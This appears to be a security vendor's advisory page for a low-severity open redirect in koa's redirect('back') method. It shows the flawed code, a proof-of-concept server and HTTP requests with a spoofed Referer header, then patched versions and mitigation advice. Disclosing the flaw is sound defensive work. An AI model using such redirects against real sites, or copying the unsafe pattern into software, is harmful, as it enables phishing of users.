GHSA-jgmv-j7ww-jx2x is a low-severity (CVSS 3.5) Open Redirect vulnerability in koa. A fix is available for koa — see the affected versions and patch details below.
Koa Open Redirect via Referrer Header (User-Controlled)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jgmv-j7ww-jx2x.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jgmv-j7ww-jx2x plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
koanpmDescription
Summary
In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.
Details
on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:
response.redirect(url, [alt])
Performs a [302] redirect to url.
The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.
ctx.redirect('back');
ctx.redirect('back', '/index.html');
ctx.redirect('/login');
ctx.redirect('http://google.com');
however, the "back" method is insecure:
back (alt) {
const url = this.ctx.get('Referrer') || alt || '/'
this.redirect(url)
},
Referrer Header is User-Controlled.
PoC
there is a demo for POC:
const Koa = require('koa')
const serve = require('koa-static')
const Router = require('@koa/router')
const path = require('path')
const app = new Koa()
const router = new Router()
// Serve static files from the public directory
app.use(serve(path.join(__dirname, 'public')))
// Define routes
router.get('/test', ctx => {
ctx.redirect('back', '/index1.html')
})
router.get('/test2', ctx => {
ctx.redirect('back')
})
router.get('/', ctx => {
ctx.body = 'Welcome to the home page! Try accessing /test, /test2'
})
app.use(router.routes())
app.use(router.allowedMethods())
const port = 3000
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`)
})
Proof Of Concept
GET /test HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close
GET /test2 HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close
Impact
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | koa | ≥ 2.0.0&&< 2.16.2 | 2.16.2npm install koa@2.16.2 |
| 📦npm | koa | ≥ 3.0.0-alpha.0&&< 3.0.1 | 3.0.1npm install koa@3.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for koa, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update koa to 2.16.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jgmv-j7ww-jx2x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-jgmv-j7ww-jx2x can be triaged on real exposure rather than presence alone.
Tailored to GHSA-jgmv-j7ww-jx2x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jgmv-j7ww-jx2x in your dependencies?
O3 Security finds GHSA-jgmv-j7ww-jx2x across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.